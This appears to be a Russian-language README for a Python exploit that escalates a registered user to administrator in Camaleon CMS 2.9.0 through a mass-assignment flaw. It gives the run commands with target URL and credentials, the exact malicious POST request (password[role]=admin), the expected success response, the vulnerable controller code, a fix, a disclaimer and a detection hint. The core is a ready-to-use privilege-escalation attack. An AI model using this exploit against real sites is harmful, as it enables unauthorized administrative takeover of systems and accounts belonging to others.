
Этот Python-скрипт эксплуатирует критическую уязвимость массового присваивания в Camaleon CMS версии 2.9.0, позволяя любому зарегистрированному пользователю повысить свои привилегии до администратора.
Этот Python-скрипт эксплуатирует критическую уязвимость массового присваивания в Camaleon CMS версии 2.9.0, позволяя любому зарегистрированному пользователю повысить свои привилегии до администратора.
permit! в действии updated_ajax позволяет всем параметрам проходить без фильтрации, включая параметр role/admin/users/[id]/updated_ajax с вредоносной нагрузкой: (В скрипте я использовал id 5, так как обычно он назначается автоматически. Возможно, его потребуется изменить.)
password[role]=admin — Этот параметр должен фильтроваться, но из-за permit! этого не происходитpassword[password] и password[password_confirmation] — Обновляет пароль пользователя (Когда обычный пользователь с ролью client обновляет свой профиль, технически это user[role]=client, но поскольку здесь мы эксплуатируем уязвимость, возникающую из-за функциональности change password, это будет password[role]=admin.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Установить новый пароль во время эксплуатации (по умолчанию — текущий пароль)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
Уязвимость находится в методе updated_ajax контроллера UsersController:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Замените уязвимый метод permit! на явную фильтрацию параметров:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
Этот скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Пожалуйста, не используйте этот эксплойт на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
Группы безопасности могут обнаруживать попытки эксплуатации, отслеживая:
/admin/users/[id]/updated_ajax с параметром password[role]